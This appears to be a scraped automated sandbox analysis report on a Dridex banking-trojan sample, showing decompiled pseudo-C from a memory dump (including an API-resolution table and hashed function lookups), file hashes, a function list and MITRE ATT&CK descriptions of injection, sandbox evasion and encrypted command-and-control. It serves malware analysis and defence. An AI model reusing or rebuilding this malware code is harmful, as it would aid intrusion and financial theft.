							E705BD0D0( &(_t535[0x178]) - 0x24,  &(_t535[0x178]), _t535[0x15c]);
							_push(0x80);
							_push(0);
							E705C5C40( &(_t535[0x114]), _t556, _t535[0x184], 1);
							E705C5C74( &(_t535[0x180]) - 0x7c, _t556,  &(_t535[0x180]), 0);
							_push(_t289);
							E705C8D74( &(_t535[0xe4]),  &(_t535[0x180]), 2);
							E705BF6F0( &(_t535[0x180]));
							_t557 = _t535[0x114];
							if(_t535[0x114] != 0) {
								E705BBC00( &(_t535[0x110]));
							}
							E705BD098( &(_t535[0x104]));
							E705BD098(_t518);
							E705BD098( &(_t535[0x15c]));
							E705BD098( &(_t535[0x154]));
							E705C9058( &(_t535[0xdc]), 0xffffffff);
							_t535[0x118] = _t535[0xf0];
							E705BF6B4( &(_t535[0x11c]), _t557,  &(_t535[0xf4]));
							_push(1);
							E705C901C( &(_t535[0x11c]));
							_t381 = 0;
							_t535[0x64] = 0;
							_t535[0x60] = 0;
							do {
								_t535[0x58] = E705BF558( &(_t535[0x38]), _t535[0x60]);
								_t535[0x70] = E705BF568( &(_t535[0x44]));
								_t519 =  *(0x705cbce0 + _t381 * 4);
								_t531 = E705C8FE8( &(_t535[0xf4]), _t519, _t519);
								if(_t531 == 0) {
									goto L42;
								}
								_t508 = E705C8754( &(_t535[0x11c]), _t519,  *_t531);
								_t532 =  *_t531;
								while(_t532 ==  *_t508) {
									_t508 = _t508 + 8;
									__eflags = _t508;
								}
								_t315 =  *_t508;
								_t535[0x74] = _t315;
								_t535[0x78] = _t315 - _t532;
								if(_t381 != 0) {
									L38:
									_t535[0x68] = E705BF568( &(_t535[0x44]));
									_t535[0x6c] = _t519;
									E705BF578( &(_t535[0x4c]), _t562, _t532, _t535[0x78]);
									_t319 = E705BF568( &(_t535[0x44]));
									_t487 = _t535[0x58];
									_t563 = _t319 -  *((intOrPtr*)(_t487 + 4));
									if(_t319 <=  *((intOrPtr*)(_t487 + 4))) {
										E705BF8C4( &(_t535[0x20]), E705BF568( &(_t535[0x1c])) + 8);
										E705BF558( &(_t535[0x20]), E705BF568( &(_t535[0x1c])) + 0xfffffff8);
										asm("movsd");
										asm("movsd");
										_t535[0x18] = _t535[0x18] + 1;
										__eflags = _t381 - 0x1d;
										if(__eflags == 0) {
											_t228 =  &(_t535[0x44]); // 0x2c
											E705C30A4(_t535[0x58], _t228, __eflags,  &(_t535[0x18]));
										}
										goto L42;
									}
									E705BF8C4( &(_t535[0x48]), _t535[0x70]);
									E705C30A4(_t535[0x58],  &(_t535[0x44]), _t563,  &(_t535[0x18]));
									E705BF8DC( &(_t535[0x44]), _t563);
									E705BF8DC( &(_t535[0x1c]), _t563);
									_t381 = _t381 - 1;
									_t334 = _t535[0x64] + 1;
									_t535[0x60] = _t535[0x60] + 0x14;
									_t535[0x18] = 0;
									_t535[0x64] = _t334;
									if(_t334 == _t535[0x30]) {
										break;
									}
									goto L42;
								}
								E705C90A8( &(_t535[0x134]), _t519);
								_t535[0x5c] = _t532;
								while(1) {
									_t336 = _t535[0x5c];
									_t562 =  *_t336 - 0xb8;
									if( *_t336 == 0xb8) {
										break;
									}
									_t490 = _t535[0x5c] + E705C9070( &(_t535[0x138]), __eflags, _t535[0x74]);
									_t535[0x5c] = _t490;
									__eflags = _t490 -  *_t508;
									if(__eflags < 0) {
										continue;
									}
									L37:
									E705BF6F0( &(_t535[0x144]));
									E705BF6F0( &(_t535[0x134]));
									goto L38;
								}
								 *0x705cd2e8 =  *((intOrPtr*)(_t336 + 1));
								goto L37;
								L42:
								_t381 = _t381 + 1;
							} while (_t381 < 0x1e);
							E705BF6F0( &(_t535[0x11c]));
							E705C8DD4(_t381,  &(_t535[0xd8]));
							E705BF6F0( &(_t535[0x1c]));
							E705BF6F0( &(_t535[0x44]));
							E705BF6F0( &(_t535[0x34]));
							goto L44;
						}
						_t533 = 0;
						_t382 = 0;
						do {
							_t341 = E705BF558( &(_t535[0xc]), _t382);
							_t517 = _t341;
							E705BF8C4( &(_t535[0x38]), E705BF568( &(_t535[0x34])) + 0x14);
							_t347 = E705BF558( &(_t535[0x38]), E705BF568( &(_t535[0x34])) + 0xffffffec);
							_t451 = 5;
							memcpy(_t347, _t341, _t451 << 2);
							_t535 =  &(_t535[0xc]);
							_t533 = _t533 + 1;
							_t382 = _t382 + 0x14;
							_t535[0x30] = _t535[0x30] + 1;
						} while (_t533 < _t535[0x44]);
						goto L24;
					}
					_t535[0x4c] = 1;
					_t534 = 0x14;
					do {
						_t62 = _t534 - 0x14; // 0x0
						_t383 = E705BF558( &(_t535[0xc]), _t62);
						_t455 = E705BF558( &(_t535[0xc]), _t534);
						_t517 =  *_t383;
						_t352 =  *_t455;
						if(_t352 >= _t517 && _t352 <= _t383[1] + _t517) {
							_t383[1] =  *((intOrPtr*)(_t455 + 0x10)) - _t517;
						}
						_t534 = _t534 + 0x14;
						_t354 = _t535[0x4c] + 1;
						_t535[0x4c] = _t354;
					} while (_t354 < _t535[0x44]);
					_t535[0x44] = _t535[4];
					goto L21;
				}
			}

0x705c14e4
0x705c14eb
0x705c14ee
0x705c14f5
0x705c1c77
0x705c1c77
0x705c14fb
0x705c1506
0x705c1a45
0x705c1a49
0x00000000
0x705c1cc8
0x705c1a4f
0x705c1a52
0x705c1a55
0x705c1a5f
0x705c1a6e
0x705c1a70
0x705c1a77
0x705c1c61
0x705c1c63
0x705c1c66
0x705c1c6a
0x00000000
0x705c1c6a
0x705c1a86
0x705c1a91
0x705c1a98
0x705c1a9b
0x705c1a9d
0x705c1aa0
0x705c1aa3
0x705c1aa9
0x705c1ab7
0x705c1ac7
0x705c1aec
0x705c1afd
0x705c1b00
0x705c1b02
0x705c1b66
0x705c1b69
0x705c1b69
0x705c1b6b
0x705c1b6e
0x705c1b72
0x705c1b72
0x705c1b76
0x00000000
0x00000000
0x705c1b83
0x705c1b89
0x705c1bbd
0x705c1bc3
0x705c1bc5
0x705c1c94
0x705c1c9c
0x705c1c9f
0x705c1ca1
0x705c1cb8
0x705c1cb8
0x705c1ca3
0x705c1ca7
0x705c1cac
0x705c1cac
0x705c1cba
0x705c1cc0
0x705c1bdf
0x705c1bdf
0x705c1be1
0x705c1be1
0x705c1be3
0x705c1be3
0x705c1be8
0x00000000
0x00000000
0x705c1bea
0x705c1beb
0x705c1bee
0x705c1bf1
0x00000000
0x00000000
0x705c1bfd
0x705c1c00
0x705c1c02
0x705c1c19
0x705c1c19
0x705c1c04
0x705c1c08
0x705c1c0d
0x705c1c0d
0x705c1c26
0x705c1c29
0x705c1c32
0x705c1c35
0x705c1c58
0x705c1c5c
0x00000000
0x705c1c5c
0x705c1c3d
0x705c1c3d
0x705c1c49
0x705c1c4c
0x705c1c55
0x00000000
0x705c1c55
0x705c1bcb
0x705c1bdb
0x705c1bdb
0x705c1bdd
0x00000000
0x00000000
0x705c1bd3
0x705c1bd5
0x705c1bd5
0x00000000
0x705c1bdb
0x705c1b8b
0x705c1b93
0x705c1bb3
0x705c1b95
0x705c1b95
0x705c1b9d
0x705c1ba6
0x705c1ba6
0x705c1b9d
0x00000000
0x705c1b93
0x705c1b04
0x705c1b0b
0x00000000
0x00000000
0x705c1b18
0x705c1b1e
0x705c1b23
0x705c1b2a
0x705c1b2e
0x705c1b43
0x705c1b45
0x705c1b47
0x705c1b4d
0x705c1b5b
0x705c1b5b
0x705c1b61
0x00000000
0x705c1b61
0x00000000
0x00000000
0x00000000
0x00000000
0x705c1aab
0x705c1aab
0x705c1aab
0x705c1aac
0x705c1aaf
0x705c1ab3
0x00000000
0x705c1ac9
0x705c1acc
0x705c1acf
0x705c1ad8
0x705c1adb
0x705c1adc
0x705c1ade
0x00000000
0x705c1519
0x705c151b
0x705c1520
0x705c152b
0x705c1539
0x705c154c
0x705c1559
0x705c1562
0x705c1566
0x705c156a
0x705c15b2
0x705c15b2
0x705c15b4
0x705c15bb
0x00000000
0x00000000
0x705c15d4
0x705c15dc
0x705c15e0
0x705c15f5
0x705c15f9
0x705c15fd
0x705c1606
0x705c160c
0x705c160f
0x705c1613
0x705c161b
0x705c161d
0x705c1621
0x705c1628
0x705c1631
0x705c1631
0x705c1635
0x705c164a
0x705c1660
0x705c166d
0x705c166e
0x705c166e
0x705c1670
0x00000000
0x00000000
0x00000000
0x00000000
0x705c162a
0x705c162a
0x705c162a
0x705c162b
0x705c162c
0x00000000
0x705c162a
0x705c15ef
0x705c15f3
0x00000000
0x00000000
0x00000000
0x705c1674
0x705c1674
0x705c1675
0x705c1678
0x705c1682
0x705c1682
0x705c1686
0x705c168d
0x705c16e8
0x705c16ed
0x705c1740
0x705c1740
0x705c1744
0x705c1748
0x705c1572
0x705c1575
0x705c157a
0x705c1580
0x705c1583
0x705c158a
0x705c158e
0x705c1595
0x705c159e
0x705c15a2
0x705c15a6
0x705c15ac
0x00000000
0x00000000
0x00000000
0x705c15ac
0x705c1752
0x705c175e
0x705c1769
0x705c1770
0x705c1779
0x705c1783
0x705c1784
0x705c1792
0x705c1797
0x705c1798
0x705c17a5
0x705c17aa
0x705c17bc
0x705c17c1
0x705c17c6
0x705c17d8
0x705c17ea
0x705c17ef
0x705c17fa
0x705c1801
0x705c1806
0x705c180e
0x705c1817
0x705c1817
0x705c1823
0x705c182a
0x705c1836
0x705c1842
0x705c1850
0x705c1861
0x705c1868
0x705c186d
0x705c1876
0x705c187b
0x705c187d
0x705c1881
0x705c1885
0x705c1892
0x705c189f
0x705c18a3
0x705c18b7
0x705c18bb
0x00000000
0x00000000
0x705c18d0
0x705c18d2
0x705c18da
0x705c18d7
0x705c18d7
0x705c18d7
0x705c18de
0x705c18e0
0x705c18e6
0x705c18ec
0x705c1948
0x705c1951
0x705c1955
0x705c1962
0x705c196b
0x705c1970
0x705c1974
0x705c1977
0x705c19d8
0x705c19ee
0x705c19f9
0x705c19fa
0x705c19fb
0x705c19ff
0x705c1a02
0x705c1c82
0x705c1c85
0x705c1c85
0x00000000
0x705c1a02
0x705c1981
0x705c1991
0x705c199a
0x705c19a3
0x705c19ac
0x705c19ad
0x705c19ae
0x705c19b3
0x705c19bb
0x705c19c3
0x00000000
0x00000000
0x00000000
0x705c19c5
0x705c18f5
0x705c18fa
0x705c18fe
0x705c18fe
0x705c1902
0x705c1905
0x00000000
0x00000000
0x705c1926
0x705c1928
0x705c192c
0x705c192e
0x00000000
0x00000000
0x705c1930
0x705c1937
0x705c1943
0x00000000
0x705c1943
0x705c190a
0x00000000
0x705c1a08
0x705c1a08
0x705c1a09
0x705c1a19
0x705c1a25
0x705c1a2e
0x705c1a37
0x705c1a40
0x00000000
0x705c1a40
0x705c16ef
0x705c16f1
0x705c16f3
0x705c16f8
0x705c16fd
0x705c1710
0x705c1726
0x705c172f
0x705c1730
0x705c1730
0x705c1732
0x705c1733
0x705c1736
0x705c173a
0x00000000
0x705c16f3
0x705c168f
0x705c1699
0x705c169a
0x705c169a
0x705c16a7
0x705c16b3
0x705c16b5
0x705c16b7
0x705c16bb
0x705c16cb
0x705c16cb
0x705c16d2
0x705c16d5
0x705c16d6
0x705c16da
0x705c16e4
0x00000000
0x705c16e4

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bec6b0a22945f20834521ff98c4e83d5a6d7822aefcf9810bc7b45d2d5ab561
Instruction ID: 39fa0c307b501e2346417b90d1b642fbf49b055fa3cabf1aa669c5aa286e58b2
Opcode Fuzzy Hash: 6bec6b0a22945f20834521ff98c4e83d5a6d7822aefcf9810bc7b45d2d5ab561
Instruction Fuzzy Hash: 4F3267705083469FC715DFA8C885BAFBBF4AF95300F10892EF496872A0EB74E945CB56

Uniqueness

Uniqueness Score: -1.00%

Function 705B6DC8, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E705B6DC8() {

				 *0x705cd280 = GetUserNameW;
				 *0x705CD284 = MessageBoxW;
				 *0x705CD288 = GetLastError;
				 *0x705CD28C = CreateFileA;
				 *0x705CD290 = DebugBreak;
				 *0x705CD294 = FlushFileBuffers;
				 *0x705CD298 = FreeEnvironmentStringsA;
				 *0x705CD29C = GetConsoleOutputCP;
				 *0x705CD2A0 = GetEnvironmentStrings;
				 *0x705CD2A4 = GetLocaleInfoA;
				 *0x705CD2A8 = GetStartupInfoA;
				 *0x705CD2AC = GetStringTypeA;
				 *0x705CD2B0 = HeapValidate;
				 *0x705CD2B4 = IsBadReadPtr;
				 *0x705CD2B8 = LCMapStringA;
				 *0x705CD2BC = LoadLibraryA;
				 *0x705CD2C0 = OutputDebugStringA;
				return 0x705cd280;
			}

0x705b6dd9
0x705b6de1
0x705b6de4
0x705b6df3
0x705b6df6
0x705b6e05
0x705b6e08
0x705b6e17
0x705b6e1a
0x705b6e29
0x705b6e2c
0x705b6e3b
0x705b6e3e
0x705b6e4d
0x705b6e50
0x705b6e5f
0x705b6e62
0x705b6e65

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9f99735beab3766790af42ab5b617488bf1d89fd1f5cedadf4c0757b298551f
Instruction ID: 59687ade0598f4d033d50fbdd15b893c7f48109ac6a6bc669067b580a5e2f47e
Opcode Fuzzy Hash: f9f99735beab3766790af42ab5b617488bf1d89fd1f5cedadf4c0757b298551f
Instruction Fuzzy Hash: 941156B9905A01CFC348CF06D598A127FF1FB9C3943219A9AD909AB375D730E845CF54

Uniqueness

Uniqueness Score: -1.00%

Function 705BBC00, Relevance: .0, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E705BBC00(intOrPtr* __ecx) {
				void* _t1;
				intOrPtr* _t4;

				_t4 = __ecx;
				_t1 = E705BC33C(__ecx);
				if(_t1 != 0) {
					L4:
					return _t1;
				} else {
					_t1 = E705C2F8C(0xa5eabdf8, 0x2c2324e8);
					if(_t1 == 0) {
						 *_t4 = 0;
						goto L4;
					} else {
						_push( *_t4);
						asm("int3");
						return _t1;
					}
				}
			}

0x705bbc01
0x705bbc03
0x705bbc0a
0x705bbc29
0x705bbc2a
0x705bbc0c
0x705bbc16
0x705bbc1d
0x705bbc23
0x00000000
0x705bbc1f
0x705bbc1f
0x705bbc21
0x705bbc22
0x705bbc22
0x705bbc1d

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 229d0e70dd984517c4ff88a566391a3803afd3012da0cf9cedecb5fa3dd55369
Instruction ID: 4f1e2ec14b18757687f96f2935ea1b1d43188673b7d5eec04d887712cfad3cfd
Opcode Fuzzy Hash: 229d0e70dd984517c4ff88a566391a3803afd3012da0cf9cedecb5fa3dd55369
Instruction Fuzzy Hash: C9D012721002476AEF155F39FE0171DEFE94FC2151F54085B650167459CFEAE8514028

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report 3d006cd2_by_Libranalysis

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Dridex

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Cryptography:

Compliance:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: loaddll32.exe PID: 5916 Parent PID: 5544

General

Chronological Activities

Function 705C07CC, Relevance: 5.1, APIs: 3, Instructions: 628
COMMONCrypto

Function 705C218C, Relevance: 1.5, APIs: 1, Instructions: 30
nativeCOMMON

Function 705C2790, Relevance: 1.5, APIs: 1, Instructions: 29
memorynativeCOMMON

Function 705C3060, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 705C5DF0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45
fileCOMMON

Function 705C1140, Relevance: 3.1, APIs: 2, Instructions: 91
COMMON

Function 705C5720, Relevance: 3.1, APIs: 2, Instructions: 74
registryCOMMON

Function 705C5AA8, Relevance: 1.6, APIs: 1, Instructions: 123
COMMON

Function 705C5B51, Relevance: 1.6, APIs: 1, Instructions: 63
fileCOMMON

Function 705C5B29, Relevance: 1.6, APIs: 1, Instructions: 57
fileCOMMON

Function 705C5B3D, Relevance: 1.6, APIs: 1, Instructions: 56
fileCOMMON

Function 705C5B1F, Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Function 705C5B6D, Relevance: 1.6, APIs: 1, Instructions: 51
fileCOMMON

Function 705C5D7C, Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Function 705C10CC, Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Function 705C55B8, Relevance: 1.5, APIs: 1, Instructions: 45
registryCOMMON

Function 705C3564, Relevance: 1.5, APIs: 1, Instructions: 42
memoryCOMMON

Function 705B1494, Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 613
libraryCOMMONCrypto

Function 705B9144, Relevance: 2.4, Strings: 1, Instructions: 1104
COMMONCrypto

Function 705BA5A4, Relevance: 1.8, Strings: 1, Instructions: 537
COMMONCrypto

Function 705B84E4, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Function 705C92DC, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Function 705C14D8, Relevance: .6, Instructions: 572
COMMONCrypto

Function 705B6DC8, Relevance: .0, Instructions: 36
COMMON

Function 705BBC00, Relevance: .0, Instructions: 16
COMMON